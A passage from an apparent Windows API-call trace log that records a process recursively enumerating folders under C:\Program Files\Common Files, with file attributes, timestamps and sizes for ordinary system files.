ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0273.310] GetLastError () returned 0x12 [0273.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.312] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.312] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0273.312] GetLastError () returned 0x12 [0273.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.313] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.313] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.313] GetLastError () returned 0x12 [0273.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.313] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.313] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0273.313] GetLastError () returned 0x12 [0273.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.314] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.314] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e4e4 | out: lpFindFileData=0x3a0e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.314] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.314] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.314] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0273.314] GetLastError () returned 0x12 [0273.314] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.314] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.314] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0273.314] GetLastError () returned 0x12 [0273.314] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.314] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.315] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0273.315] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.315] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.315] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0273.315] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0273.315] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.315] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0273.316] GetLastError () returned 0x12 [0273.316] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0273.318] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.318] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0273.318] GetLastError () returned 0x12 [0273.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.320] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.320] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0273.320] GetLastError () returned 0x12 [0273.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.321] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.321] FindNextFileW (in: hFindFile=0x806e18, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0273.321] GetLastError () returned 0x12 [0273.321] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.321] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.321] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0273.321] GetLastError () returned 0x12 [0273.321] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.321] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.321] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0273.322] GetLastError () returned 0x12 [0273.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.322] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.493] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0273.493] GetLastError () returned 0x12 [0273.493] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0273.493] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.493] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x357c8f8 | out: hHeap=0x1c0000) returned 1 [0273.494] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0273.494] GetLastError () returned 0x12 [0273.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.495] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.495] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0273.495] GetLastError () returned 0x12 [0273.495] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0273.495] GetLastError () returned 0x12 [0273.495] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.496] GetLastError () returned 0x12 [0273.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0273.498] GetLastError () returned 0x12 [0273.498] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, 